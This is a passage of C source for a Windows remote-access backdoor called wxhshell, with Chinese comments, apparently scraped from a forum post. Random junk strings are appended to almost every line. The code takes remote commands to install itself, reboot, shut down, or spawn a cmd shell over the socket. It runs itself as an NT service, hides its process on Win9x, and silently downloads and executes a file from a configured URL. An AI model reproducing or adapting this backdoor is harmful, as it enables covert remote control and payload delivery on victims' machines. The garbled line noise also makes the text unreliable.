  // 帮助 lN7YU-ygz  
  case '?': { JQSczE3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]T%wRd5&-  
    break; /brHB @$  
  } 'Ecd\p  
  // 安装 y7LM}dH#m  
  case 'i': { ~uuM0POo  
    if(Install()) ZSn6JV'g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A6#v6iT  
    else DS7Pioa86  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J74kK#uF=  
    break; SA~oGgk=P  
    } L/,M@1@R  
  // 卸载 Kk>va->R  
  case 'r': { #^w8Y'{?  
    if(Uninstall()) =!=DISPo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D;Y2yc[v  
    else hmv*IF.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g8]$BhRIfr  
    break; BWzo|isv  
    } GX N:=  
  // 显示 wxhshell 所在路径 $~r=I[5'(  
  case 'p': { XW*d\vDun  
    char svExeFile[MAX_PATH]; l'?(4 N  
    strcpy(svExeFile,"\n\r"); , 1il&  
      strcat(svExeFile,ExeFile); ) Hqn  
        send(wsh,svExeFile,strlen(svExeFile),0); P]4@|u;=6[  
    break; (!T\[6  
    } fKa]F`p_h  
  // 重启 &izk$~  
  case 'b': { 8zpTCae^=7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `'ak/%Krh  
    if(Boot(REBOOT)) $ 3R5p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xS_tB)C  
    else { Y~U WUF%aK  
    closesocket(wsh); nW]T-!  
    ExitThread(0); ?d)FYB  
    } RY~m Q  
    break; a'7RzN ,]  
    } rM20Y(|  
  // 关机 }5y ]kn  
  case 'd': { M"8?XD%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); / 16 r_l  
    if(Boot(SHUTDOWN)) cFoeyI#v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bJL,pe+u  
    else { /%P,y+<}iG  
    closesocket(wsh); ;z9U_  
    ExitThread(0); hD7Lgi-N)W  
    } f1I/aRV:+  
    break; da$ErN '{  
    } u7 {R; QKw  
  // 获取shell KvlLcE~`o  
  case 's': { !8o;~PPVl  
    CmdShell(wsh); 1P/4,D@  
    closesocket(wsh); +P=I4-?eX  
    ExitThread(0); qhNYQ/uS  
    break; /z4n?&tM  
  } 8[u$CTl7a  
  // 退出 SOvo%L@  
  case 'x': { UeaHH]U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l6-%)6u>  
    CloseIt(wsh); j8?rMD~  
    break; Ki%RSW(_`  
    } OZno 3Hn  
  // 离开 xOc&n0}%  
  case 'q': { zC!Pb{IaH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N)X51;+  
    closesocket(wsh); ,>3|\4/Q  
    WSACleanup(); =Ka :i>  
    exit(1); } BnPNc[I  
    break; XI5q>cd\Sz  
        } e;&fO[ 2  
  } (&qjY I  
  } I>@Qfc bG  
t ZA%^Y  
  // 提示信息 [?F]S:/i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z5t"o !  
} - s0QEQ  
  } ;})s o  
$!:xjb  
  return; k#<Y2FJa  
} CK1gzIg>  
/Xw wB  
// shell模块句柄 nY_+V{F  
int CmdShell(SOCKET sock) 0zXF{5Up  
{ ljjnqQ%  
STARTUPINFO si; >>0c)uC|W  
ZeroMemory(&si,sizeof(si)); 5}`e"X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MW)=l | G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?yAjxoE~?  
PROCESS_INFORMATION ProcessInfo; yo#fJ`  
char cmdline[]="cmd"; D<xDj#Z~1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G":u::hR  
  return 0; `MXGEJF  
} vkW]?::Cfd  
VY "i>Ae  
// 自身启动模式 79>_aD9  
int StartFromService(void) CM+/.y T  
{ gv9z`[erS  
typedef struct tCr? !Y~  
{ jUy$aGX  
  DWORD ExitStatus; ]f3R;d  
  DWORD PebBaseAddress; KJ8Qi+cZ  
  DWORD AffinityMask; r<-@.$lf  
  DWORD BasePriority; :tBZu%N/N  
  ULONG UniqueProcessId; d ]Mjr2h  
  ULONG InheritedFromUniqueProcessId; _~uYNvmg  
}   PROCESS_BASIC_INFORMATION; oCuKmK8  
G1/  
PROCNTQSIP NtQueryInformationProcess; <84d Vg  
}G 1hB#j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XN~r d,MZ%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5w@Q %'o`I  
1fU~&?&-u  
  HANDLE             hProcess; };]f 3  
  PROCESS_BASIC_INFORMATION pbi; 4GqE%n+ta~  
W> rx:O+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U,GY']J  
  if(NULL == hInst ) return 0; TAZ+2S##7  
>y iE}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kB ;!EuL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); of?0 y-LT%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FY<77i  
xi"Ug41)  
  if (!NtQueryInformationProcess) return 0; W&Kjh|[1QZ  
1TL~I-G&n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N1u2=puJY  
  if(!hProcess) return 0; ah0  
"QCViR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w}``2djR'W  
%B-m- =gz  
  CloseHandle(hProcess);  7VAet  
Zcxj.F(,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KZ/ 2#`  
if(hProcess==NULL) return 0; 1IV R4:a  
} OAH/BW  
HMODULE hMod; B;xGTl@8  
char procName[255]; %Dm:|><V$b  
unsigned long cbNeeded; /S&8%fb  
K!_''Fg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "\1QJ  
W1p5F\ wt  
  CloseHandle(hProcess); -O?&+xIK&  
J1{ucFa  
if(strstr(procName,"services")) return 1; // 以服务启动 >X-*Hu'U#  
^ l9NF  
  return 0; // 注册表启动 '.d]n(/lZd  
} %& b70]S(  
QLe<).S1B2  
// 主模块 :]^FTnO  
int StartWxhshell(LPSTR lpCmdLine) (TFo]c  
{ ex-W{k$  
  SOCKET wsl; gPg2Ve0Qy  
BOOL val=TRUE; nW `EBs  
  int port=0; TGu]6NzyZ  
  struct sockaddr_in door; txXt<]N  
9EKc{1 z  
  if(wscfg.ws_autoins) Install(); 6`;+|H<$  
HVK./y qy  
port=atoi(lpCmdLine); :_"%o=  
|!H@{o  
if(port<=0) port=wscfg.ws_port; }?XNA.Wz  
n 0CS =  
  WSADATA data; r&c31k]E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .q9wyVi7GI  
~Y'j8W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YR}By;Bq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L% ?3VW  
  door.sin_family = AF_INET; ##clReS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XbKNH>  
  door.sin_port = htons(port); [u}2xsSx  
&%`Y>\@f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /f) #CR0$  
closesocket(wsl); It3.  
return 1; mY !LGN  
} MJ0UZxnl  
(YH/#n1"{  
  if(listen(wsl,2) == INVALID_SOCKET) { #Ez+1  
closesocket(wsl); 3WQ"3^G  
return 1; Tx\g5rk  
} ,7nA:0P  
  Wxhshell(wsl); Vm <9/UG<  
  WSACleanup(); uw`fC%-xh  
26<Wg7/,  
return 0; W;@9x1jK X  
k=):>}  
} ?sm@lDZ\  
S2*ER  
// 以NT服务方式启动 auT'ATW7i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |=W=H6h*  
{ s;4r)9Uvx  
DWORD   status = 0; VPqMbr"L[  
  DWORD   specificError = 0xfffffff; zS+_6s  
R x.]m0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {f<\`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #8[iqvE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J,=: ] t  
  serviceStatus.dwWin32ExitCode     = 0; bD;c>5t  
  serviceStatus.dwServiceSpecificExitCode = 0; OlF5~VAbfb  
  serviceStatus.dwCheckPoint       = 0; v9R"dc]0h  
  serviceStatus.dwWaitHint       = 0; [#-!&>  
0[T>UEI?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WbP*kV{  
  if (hServiceStatusHandle==0) return; nfbqJ  
c/\$AJV.H  
status = GetLastError(); T^~9'KDd  
  if (status!=NO_ERROR) :[ AP^  
{ u  t4+c0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Y3wXmG  
    serviceStatus.dwCheckPoint       = 0; I_h{n{,sr  
    serviceStatus.dwWaitHint       = 0; 81<0B @E  
    serviceStatus.dwWin32ExitCode     = status; X0"f>.Lg  
    serviceStatus.dwServiceSpecificExitCode = specificError; hpVu   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qo;#}%}^^  
    return; )Mj $/  
  } ';0NWFP  
J \V.J/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3Ta<7tEM  
  serviceStatus.dwCheckPoint       = 0; Cq-#| +zr  
  serviceStatus.dwWaitHint       = 0; .6D9m.Q,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }lzN)e  
} oz- k_9%  
9?_ybO~Oq  
// 处理NT服务事件,比如:启动、停止 OnKPD=<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AZTn!hrU  
{ _p`@/[(|  
switch(fdwControl) ^,M&PP6  
{ &G"r>,HU  
case SERVICE_CONTROL_STOP: &RP}w%I1  
  serviceStatus.dwWin32ExitCode = 0; \1p5$0z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q T pvz  
  serviceStatus.dwCheckPoint   = 0; {UR&Y  
  serviceStatus.dwWaitHint     = 0; j2/3NF5&  
  { 6(X5n5C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >.-$?2  
  } X;?Z_3I:5  
  return; 4JD 8w3u/  
case SERVICE_CONTROL_PAUSE: GqrOj++>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &PAgab2$  
  break; %VCfcM}5I  
case SERVICE_CONTROL_CONTINUE: 1xkU;no  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #1C~i}J1  
  break; Q$(0Nx<  
case SERVICE_CONTROL_INTERROGATE: n*oa J<o%  
  break; Kx;DmwX-  
}; ]U,K]y[Bj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U|%y `PZ  
} k<M~co;L  
aumXidb S  
// 标准应用程序主函数 o,sw[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T"GuE[?a  
{ /@H2m\vBX  
joN}N}U  
// 获取操作系统版本 Z{w{bf1&A  
OsIsNt=GetOsVer(); yeCR{{B/'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <9s=K\-  
f 2#9E+IQ  
  // 从命令行安装 cc%O35o  
  if(strpbrk(lpCmdLine,"iI")) Install(); ($oO, c'z  
4P>tGO&*x  
  // 下载执行文件 Uq,M\V \  
if(wscfg.ws_downexe) { N&0MA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <}E^r_NvD  
  WinExec(wscfg.ws_filenam,SW_HIDE); [wM<J$=2  
} B9 Dh^9?L  
Qw$"W/&X  
if(!OsIsNt) { 3PonF4  
// 如果时win9x,隐藏进程并且设置为注册表启动 x,Cc$C~YP  
HideProc(); `FImi9%F  
StartWxhshell(lpCmdLine); e<> Lr  
} @J~y_J{  
else G@) I  
  if(StartFromService()) NS l$5E  
  // 以服务方式启动 5g- apod  
  StartServiceCtrlDispatcher(DispatchTable); vl@t4\@3  
else 1 ]@}+H  
  // 普通方式启动 9 @yP;{Q  
  StartWxhshell(lpCmdLine); p 0.?R  
n(Up?_  
return 0; ^/W 7Xd(s  
}
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只看该作者 1 发表于: 2006-10-10
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